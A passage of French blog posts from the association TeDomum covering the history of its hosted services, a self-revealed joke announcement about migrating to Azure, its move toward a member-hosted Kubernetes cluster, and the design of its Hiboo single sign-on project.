• courant 2014 nous avons déployé dans l'ordre notre service DNS (bien évolué mais toujours là), des reverse proxy généralisant l'emploi de HTTPS, un Wiki de documentation, l'hébergement d'images (en PHP à l'époque, mais les images sont toutes disponibles depuis), un forum FluxBB, un hébergement de mots de passe Clipperz, Owncloud (actuellement notre Nextcloud), un hébergement de fichiers Vodstok, des statistiques Piwik, TinyTinyRSS pour la lecture de flux de news (maintenu toutes ces années), Prosody en remplacement de eJabberd, Jappix en client Jabber Web, une interface Web d'accès à ZNC, un serveur Mumble, un tracker Bittorent, notre Gitlab (toujours fièrement disponible) – oui, c'est beaucoup d'investissement en un an ;
• en 2015, nous allongions la liste de machines avec fool, ted, rob, barn, mani, darker, orwell, keith, gyges, dick, charley, george, yuko et wicket, nous déployions principalement Odoo pour remplacer notre Dolibarr historique et nous stabilisions le reste des applications.

Finalement, gérer des dizaines de petites machines devenait incontrôlable et les premiers besoin de rationalisation – moins de temps libre côté administrateurs, quelques incidents ayant aussi motivé des changements rapides d'hébergeur. A compter de 2016, nous avons donc basculé sur une technologie pas franchement différente de OpenVZ : des conteneurs Docker. D'abord à la main, puis épaulés de scripts type pipework, finalement grâce au puissant Docker Compose, nous avons migré pendant près d'un an l'ensemble de nos services sur une poignée de machines physiques – sauron, sempre, emile et silver, puis helvet, joke, anys et personne. L'exercice fut l'occasion de développer quelques outils précieux, dont une configuration de pare-feu se substituant aux redirections Docker et supportant IPv6. C'est cette motivation à contribuer non seulement des configurations, mais aussi des outils réutilisables, qui a semé la graine de multiples projets d'envergure dont Mailu, une distribution de serveur e-mail conteneurisé, que nous avons entamée en 2016 pour achever l'effort de migration.

En 2017, Matrix a pris de l'ampleur, Vector est devenu Riot (aujourd'hui Element), et nous avons déployé notre Synapse en janvier. Quelques mois plus tard, Mastodon gagnait en popularité et nous avons installé notre premier service du Fediverse. Enfin en 2018, Seafile complétait Nextcloud pour le stockage de fichiers, Pixelfed et Peertube enrichissaient le paysage ; d'autres services en tests à l'époque n'ont pas survécu, comme Prismo ou encore un serveur de cartographie.

Fin d'année, nous énoncions pour l'une des premières fois formellement nos valeurs et principes et rejoignions en même temps le collectif CHATONS.

Faire mieux avec moins

Nous avons trouvé l'aide de Orlinum, Gh0stDiv3r, frju365, Tuxfanou, Jae et Pascoual, sans qui nous n'aurions pas pu déployer Nitter, Bitwarden, Writefreely, Lemmy, Stream ou encore Mobilizon ces deux dernières années. Mais surtout, nous avons pu consolider : maîtriser les technologies à moindre facteur bus, répartir mieux les tâches du quotidien et libérer le temps nécessaire pour construire. Mais construire quoi ?

Notre objectif affiché depuis bien longtemps au plan infrastructure : s'auto-héberger autant que la technologie nous le permet. Nous ne sommes plus limités par la fiabilité de l'alimentation ni par les accès à Internet, il nous reste donc à franchir le pas. La démarche est plus investie que le seul désir de pouvoir toucher du doigt les équipements : il s'agit de défendre nos valeurs en sortant des silos hébergés en datacenter. Il y va donc aussi d'un engagement responsable quant à l'usage des ressources et la durabilité des systèmes que nous mettons en place.

L'année 2019 a préparé les consciences, jusqu'à la décision en AG, que nous vous exposions ce dernier mois d'avril, de réduire la voilure : moins de serveurs – aujourd'hui une seule machine en datacenter, aegir –, moins de frais, moins d'énergie, pour héberger la même chose et l'héberger mieux, en optimisant les applications, en réduisant la charge partout où c'est possible.

L'année 2020 si particulière, en plus de parer quelques-fois à l'urgence – héberger par exemple quelques dizaines de milliers de visio-conférences non prévues en plein confinement – a offert le temps de préparer les outils. Sous l'égide du collectif ACIDES que nous tâchons de faire vivre à son rythme, nous avons rationalisé l'authentification sur une partie de nos services grâce à Hiboo, et nous avons mis au point Hepto, une distribution Kubernetes adaptée à l'auto-hébergement réparti.

Un nouveau départ

En décembre, nous publions nos nouvelles conditions générales d'utilisation et donnions les orientations pour améliorer la modération et la qualité de nos services en général.

Ce mois de janvier, nous tournons encore une page. Le 1er, nous accueillions mainecoon, maître d'une future portée de nœuds dans le cluster largement auto-hébergé qui portera nos applications les années à venir : longue vie à kity ! Le 2 nous intégrions angora et nous déployons aujourd'hui notre service Nitter en production dessus.

Constitué de matériel récupéré – anciens ordinateurs personnels ou achats reconditionnés –, le cluster abritera des nœuds chez les membres de l'association. D'abord au nombre de 2 et se concentrant sur les services peu critiques, les machines devraient être 5 ou 6 afin de remplacer entièrement l'existant.

Si la consommation d'énergie totale excédera vraisemblablement (de peu, calculs en cours) celle de nos serveurs en location, l'ensemble devrait être plus respectueux de nos valeurs et plus durable tout-de-même ! Nous continuerons donc à publier des mises à jour, et l'ensemble de nos travaux :

• contractualisation entre les membres et l'association pour l'hébergement sur des ressources personnelles à leur domicile ;
• réflexion, calculs et documentation sur l'impact écologique de ce cluster auto-hébergé ;
• configurations pour la gestion la plus automatisée possible des services ;
• projets contribués au sein de ACIDES pour le stockage de données distribué géographiquement ;
• poursuite sur Hiboo, Hepto, et sur l'ensemble des technologies que nous gérons en production.

2021 s'annonce donc, sinon fructueuse, au moins studieuse et pas en peine de défis. Nous devrons y remettre l'accent, outre sur l'infrastructure bien abordée dans le billet, sur le choix des services à héberger à long terme et la modération de plus en plus délicate dans un univers fédéré, en continuant d'évoluer et en accueillant des contributeurs motivés.

Nous espérons qu'elle sera au moins aussi intéressante pour tout le monde, en particulier pour les camarades CHATONS et autres hébergeurs indépendants, pour les incroyables contributeur·rices aux logiciels que nous employons, et pour ceux·elles avec qui nous avons le plaisir d'échanger chaque jour.

Bonjour à tous nos utilisateurs, utilisatrices, et soutiens,

Vous avez probablement remarqué un bon nombre de changements récemment : nous avons interrompu nos services à plusieurs reprises, notamment pour déployer une authentification centralisée Hiboo mais également pour migrer vers de nouveaux serveurs.

Aujourd'hui, nous sommes fiers de vous annoncer que nos demandes de partenariat depuis l'assemblée générale 2019 n'ont pas été vaines !

Ce matin, à 8h37, nous avons reçu une confirmation bien matinale de Microsoft Azure concernant le tarif partenarial pour l'utilisation de leur Cloud, en vue de fournir des services à titre gracieux. Nous avons dorénavant accès a une infrastructure moins coûteuse et plus perfomante que celle utilisée actuellement. Nous explorons l'hébergement Azure depuis le mois de décembre, avec notamment un grand intérêt pour les capacités compatibles Kubernetes, et sommes particulièrement enthousiastes à l'idée de voir aboutir ce projet.

Ce changement s'inscrit dans une démarche plus globale de limitation des coûts afin d'assurer la rentabilité de l'association, mais aussi de limiter l'impact écologique de l'hébergement associatif conformément aux directives des CHATONS verts. En outre, la compatibilié Kubernetes, les capacités de passage à l'échelle et de sauvegarde automatiques de Azure permettront une gestion plus simple de notre infrastructure, une meilleure délégation des ressources, et une plus grande sécurité pour les données de tous nos utilisatrices et utilisateurs. Enfin, nous avons obtenu garantie que nos services demeureraient hébergés en Europe.

Etant donné les pics d'utilisation actuels liés à la quasi-généralisation du télétravail, et comme cette infrastructure est bien plus performante que les machines que nous utilisons actuellement, nous prévoyons de migrer les services progressivement, mais rapidement ; des coupures momentanées sont a prévoir (plus d'informations et suivi des migrations sur notre page Facebook). Une fois la migration achevée, nous envisageons un coût de compute d'environ 20€ par mois, et un coût de stockage à date d'environ 25€ par mois, avec une prévision à 35€ mensuels d'ici fin 2020. Les objectifs en termes de dons pourront être mis à jour progressivement lorsque nos besoins en stockage grandiront, nous publierons ainsi prochainement une prévision de budget consolidée pour l'année à venir, qui sera mise à jour chaque année à la suite de notre assemblée générale.

Microsoft nous met à disposition nativement des outils performants pour la communication et la collaboration en ligne, deux principaux thèmes des services fournis par TeDomum. Afin de limiter les doublons et la surconsommation de ressources associée, nous proposerons d'abord des services Azure en complément de nos services natifs et faciliterons la migration, conformément à la charte CHATONS : Matrix sera complété par Teams, Jitsi Meet par Skype, Nextcloud par OneDrive, et OnlyOffice par Office Online (d'autres migrations sont a prévoir afin d'éviter de proposer des services déja hébergés par Microsoft). Nous n'excluons pas de fermer à terme les services en doublon lorsqu'une majorité d'utilisatrices et utilisateurs aura migré, afin de nous concentrer sur les services différenciants tels que les Pads, l'hébergement vidéo, d'images et le stockage sécurisé de mots de passe.

Les services Nitter et Maps ont déja été migrés vers la nouvelle infrastructure a titre de test, vous pouvez dès ce matin constater de meilleures performances sur nitter.tedomum.net par exemple. Les prochains services migrés seront les Pads et les blogs WriteFreely.

Si vous avez des questions ou rencontrez des difficultées durant le mois de migration, n'hésitez surtout pas a nous en faire part sur notre page Facebook. Nous serons particulièrement à l'écoute pendant le mois de migration à venir.

Plus sérieusement

Avec un peu plus de sérieux : oui, nous allons migrer nos services, mais certainement pas vers Microsoft. Les principales raisons qui nous poussent à migrer sont :

• le cycle de vie de nos machines physiques actuelles, que nous tâchons de ne pas renouveler trop souvent mais qui arrivent en fin d'emploi aujourd'hui (après 4 ans de production) ;
• la simplification de notre budget, afin de limiter nos coûts en infrastructure en louant des machines moins performantes et donc moins coûteuses, et d'atteindre l'équilibre à base exclusivement de dons réguliers ;
• la réduction de notre impact énergétique et écologique en limitant dans un premier temps le nombre et la consommation de nos équipements.

Pour cela, nous visons vers le bas, et non vers le haut : nombre de nos travaux récents vont vers la rationalisation, non pas en fusionnant avec Microsoft Azure, mais en limitant la consommation CPU et mémoire là où elle est superflue, en décommissionnant les projets qui n'ont pas abouti et ne sont pas utilisés au quotidien. Aussi, étant donné la sur-utilisation de plusieurs de nos services ces derniers jours et pour les semaines à venir, nous conserverons nos serveurs actuels en complément pour encaisser la charge et proposer une instance Jitsi Meet la plus performante possible.

Nous devrions atteindre l'équilibre financier à base exclusivement de dons réguliers courant 2020. Cet équilibre consolidera la pérennité de nos services, qui dépendait jusqu'alors de dons ponctuels particulièrement bienvenus mais plus délicats à anticiper et à intégrer à notre budget.

Enfin, sur décision de notre assemblée générale 2019, nous prévoyons de migrer progressivement en dehors des datacenters (nous sommes aujourd'hui hébergés chez Scaleway, prochainement chez OVH) afin d'exploiter des ressources hébergées directement chez nos membres et par de petites structures associatives respectueuses des libertés individuelles. Nous détaillerons dans un prochain billet les objectifs et les expérimentations de l'initiative ACIDES sur ce point lorsque les premières preuves de concept concrétiseront ces efforts.

... sans en avoir trop honte !

Ces derniers mois l'idée a mûri et il est grand temps que ce blog s'en fasse le relais puisque nous expérimenterons dès ce week-end sur de premiers services en production : Hiboo, notre nouvelle usine à gaz.

Si Hiboo est tout ce qui vous intéresse plutôt que l'historique, vous pouvez avancer directement à la section « Que s'apeleriá Hiboo »

Un problème avec l'authentification

L'authentification d'utilisateurs sur un service distant n'est pas un sujet neuf, et une successions de philosophies, chacune accompagnée de sa pile de protocoles et d'outils, fournit aujourd'hui un beau panel de possibles. Résumons chronologiquement.

Au commencement était la base d'utilisateurs, locale sur chaque machine. Cette base, que certains ont matérialisée dans un /etc/passwd, d'autres dans les tables SQL de leur application Web, détenait la vérité sur les utilisateurs, leur mot de passe et leur profil.

Le problème est rapidement devenu évident : chaque administrateur connaissait les mots de passe de tous ses utilisateurs. Pour peu – suivez mon regard – que les utilisateurs ré-employassent leur mot de passe sur plusieurs systèmes, chaque administrateur détenait en réalité les clés de leur vie numérique.

Bien entendu et même si les paragraphes sont rédigés au passé (y compris du subjonctif !) : cette époque n'est pas révolue. Quelques mécanismes ont été mis en place pour limiter les dégâts lorque les informations fuitaient : utilisation de hachage cryptographique à l'état de l'art pour rendre plus difficile la récupération du mot de passe réel de l'utilisateur par exemple. Ceci n'empêche que la majorité des applications emploie toujours ce modèle en 2019 ; et que la majorité des administrateurs ont, sur chaque service, une copie de nos mots de passe.

Plus tard on a suggéré que centraliser ce stockage le rendrait plus difficilement accessible à un attaquant, mais aussi plus facilement maintenable. L'IT d'entreprise a ainsi adoubé LDAP et ses concurrents, pour que chaque application interroge le stockage central des authentifiants. Malheureusement dans ce modèle, les applications connaissent toujours le mot de passe de chaque utilisateur qui se connecte.

Les années 80, 90, enfin les années 2000 et plus récentes ont vu fleurir la notion de tiers authentifiant. D'abord Kerberos, puis SAML, SAML2, OAuth, enfin OAuth2 et son cousin OpenID Connect offrent la possibilité de centraliser l'authentification sans que l'application ait accès au mot de passe. Comment ? grâce à la magie de la cryptographie essentiellement ; nous vous renvoyons à la documentation de chacun de ces standards pour les détails plus ou moins gores.

TeDomum dans tout ça

Où en est-on chez TeDomum aujourd'hui ? Au triste niveau de la base d'authentifiants gérée par chaque service. C'est un choix que nous avons fait il y a plusieurs années selon le raisonnement suivant.

La plupart des applications que l'on déployait à l'époque supportait soit LDAP, soit un stockage local. L'alternative LDAP posait un risque supplémentaire : non seulement les applications continueraient d'accéder au mot de passe utilisateur, mais en prime l'utilisateur n'aurait plus le choix que d'utiliser le même pour tous nos services. On n'aurait rien apporté à un utilisateur peu consciencieux, et on aurait pénalisé les internautes motivés qui configuraient déjà un mot de passe différent par application. Nous avions donc opté pour le moindre mal : ne rien changer.

Notre objectif dorénavant : fournir enfin une authentification unique pour nos services, mais sans révéler le mot de passe à chaque application, et en proposant des mécanismes modernes, multi-facteurs, adaptés.

Que s'apeleriá Hiboo

Le bon sens voulut que nous options pour une solution du marché (Gluu et Keycloak ne sont que deux exemples de qualité dans un écosystème assez bien fourni), mais la lourdeur et le manque de souplesse de ces implémentations nous ont freinés. Aussi, contre toute raison, et comme nous l'avions fait en 2014 en débutant le développement de Mailu, nous nous sommes lancés from scratch.

L'objectif d'authentification centralisée a guidé la réflexion, mais il est loin d'être le seul besoin : plusieurs se sont par exemple présentés en réfléchissant aux manières d'implémenter SAML2 et OpenID Connect, les protocoles retenus pour migrer notre authentification.

C'est ainsi qu'est né le projet Hiboo, où nous souhaitons développer notre capacité à gérer sur le plan technique la communauté d'utilisateurs et de services de l'association de façon unifiée et sécurisée.

Métadonnées des utilisateurs

La gestion des métadonnées nous pose conceptuellement problème dans les solutions standard d'authentification : en général, le fournisseur d'identité détient le profil de l'utilisateur et autorise les applications à y accéder. Hors, nous ne souhaitons pas que chaque application stocke à sa guise des copies des informations privées de nos utilisateurs, à commencer par leur adresse e-mail.

En attaquant le problème par l'e-mail (nous avons bien d'autres fronts à couvrir), nous proposons une solution où l'utilisateur peut recevoir des notifications sans communiquer ses coordonnées directement à l'application.

Hiboo pseudonymise ainsi l'adresse de contact et joue le rôle de relai. A terme, nous devrions même pouvoir relayer ces messages, après filtrage par l'utilisateur, sur une messagerie au choix. Qui n'a jamais rêvé de recevoir ses notifications applicatives sur Matrix ?

Gestion multi-profils

Au sein de l'équipe TeDomum, nous avons chacun plusieurs profils sur nos services, pour tester, pour administrer, pour notre usage personnel quotidien. Devoir gérer les mots de passe de tous ces profils est coûteux et sujet à erreurs. Nous souhaitions faciliter ces manipulations.

Aussi, nous avons été témoins de quelques cas de harcèlement où malheureusement, malgré les mesures prises pour désarmer l'agresseur et les moyens à disposition pour bloquer ou ignorer ses messages, la victime n'avait plus d'autre choix que de créer de nouveaux comptes pour changer de visage numérique et y échapper. Il nous paraissait primordial d'accompagner ces changements, voire de les rendre faciles et autonomes.

Ainsi, Hiboo décorrèle le compte utilisé pour s'authentifier des profils exposés aux applications. Je peux m'authentifier sur mon unique compte « john » et me connecter à Mastodon en tant que « alice » le matin et « bob » l'après-midi, de même que je peux me connecter à Pixelfed en tant que « john » ou « charlie » quand je le souhaite.

L'adresse e-mail fournie étant la seule métadonnée et comme elle est pseudonymisée, l'application ne peut pas relier mes différents profils entre eux (nos applications n'accèdent par ailleurs pas à l'adresse IP source, même s'il nous reste un peu de travail pour masquer le user agent). Mieux : nous avons prévu que le modérateur lui-même ne puisse pas nativement lier ces profils entre eux (nous réfléchissons aux outils pour aider la modération sans compromettre la vie privée des utilisateurs).

Chaque application a son quota de profils pour éviter les débordements, pour certaines les profils supplémentaires sont soumis à validation du modérateur, pour d'autres les profils ne peuvent être créés que par un administrateur, etc.

Gestion de la migration

La part la plus difficile de ce nouveau type de composant reste classiquement la migration. Chaque utilisateur de nos services a aujourd'hui son compte sur une, deux, voire plus d'applications que nous hébergeons. Quelque fois ces comptes ont le même nom, parfois ce n'est pas le cas, voire souvent un même nom employé sur une application est en réalité détenu par un autre utilisateur sur une autre application. Comment gérer alors la reprise des milliers de comptes existant sans cafouillage et des mois de préparation ?

C'est là encore que décorréler comptes d'authentification et profils applicatifs nous a rendu service. Chacun est libre de créer le compte d'authentification qu'il souhaite sur Hiboo. Seules quelques rares applications (essentiellement les services d'administration internes à TeDomum) utilisent ce nom de compte pour authentifier l'utilisateur.

Puis, nous importons par application la liste des profils déjà réservés car appartenant historiquement à un utilisateur de l'application. Ces profils sont « récupérables » dans Hiboo en fournissant le mot de passe du compte original ; ils sont alors importés dans le compte Hiboo et utilisables directement (dans la limite du nombre de profils autorisés).

Où en sommes-nous ?

Hiboo n'est plus une chimère, nous le testons depuis quelques semaines et le code est public sur notre forge : https://forge.tedomum.net/acides/hiboo.

Il s'agit d'un développement Python Flask et SQLAlchemy pour le stockage. La gestion des comptes et profils est développée sur mesure, tandis que OpenID Connect et SAML2 sont respectivement implémentés par Authlib et pySAML2, deux excellentes bibliothèques.

A l'heure où nous publions cet article, nous importons les comptes de notre instance Mastodon dans notre serveur Hiboo de production, afin d'ouvrir dans les heures ou jours qui viennent le service pour l'authentification sur Mastodon. Si tout se déroule sans accroc, nous poursuivrons avec l'ensemble des applications supportant SAML2 ou OpenID Connect (soit l'essentiel de nos services).

Perspectives pour Hiboo

Nous ne plaisantons pas en décrivant Hiboo comme notre nouvelle usine à gaz : il reste une montagne de fonctionnalités à ajouter pour en faire notre premier outil de gestion technique de communauté. Mais nous prêterons attention à ce qu'il demeure simple de conception, maintenable et auditable.

D'abord, l'anti-spam. Nous avons travaillé ces derniers mois à la conception de CAPTCHA pour limiter le spam sur nos services. Nous avons espoir que le déport d'authentification calme les robots mais il n'arrêtera pas les spammeurs motivés. Pour cela nous planifions d'intégrer rapidement un système de CAPTCHA modulaire, utilisable par Hiboo lui-même mais également par les applications tierces. Les premiers modules reprendront des CAPTCHA sur étagère (dont le décrié reCAPATCHA, en limitant au maximum le tracking Google associé).

Ensuite, l'authentification forte : nous projetons d'intégrer des bibliothèques d'authentification multi-facteurs, avec en premier lieu du TOTP. Plus généralement, nous souhaitons un modèle d'authentification générique pour Hiboo, où chacun peut choisir son mode d'accès : mot-de-passe, certificat client, voire qui-sait un compte sur un service tiers ? (on pense bien entendu à Facebook et Google, mais nous imaginons plutôt une fédération d'identité « à la » Fediverse, où chacun pourrait employer son compte d'une autre instance Hiboo, comme le suggérait à sa conception le standard OpenID).

Pour terminer, nous envisageons d'y intégrer nos outils de modération assez largement : gestion des comptes, blocage temporaire, suivi des rappels à l'odre, prise en compte des requêtes externes (administratives et judiciaires principalement), blocage rapide d'URL, etc.

Une chose est certaine : nous ne manquons pas de travail. Aujourd'hui une poignée à contribuer, nous espérons que les concepts proposés dans Hiboo séduiront d'autres hébergeurs associatifs. Ce sont les retours de la communauté, et idéalement les contributions à la conception et au code, qui décideront du succès de Hiboo.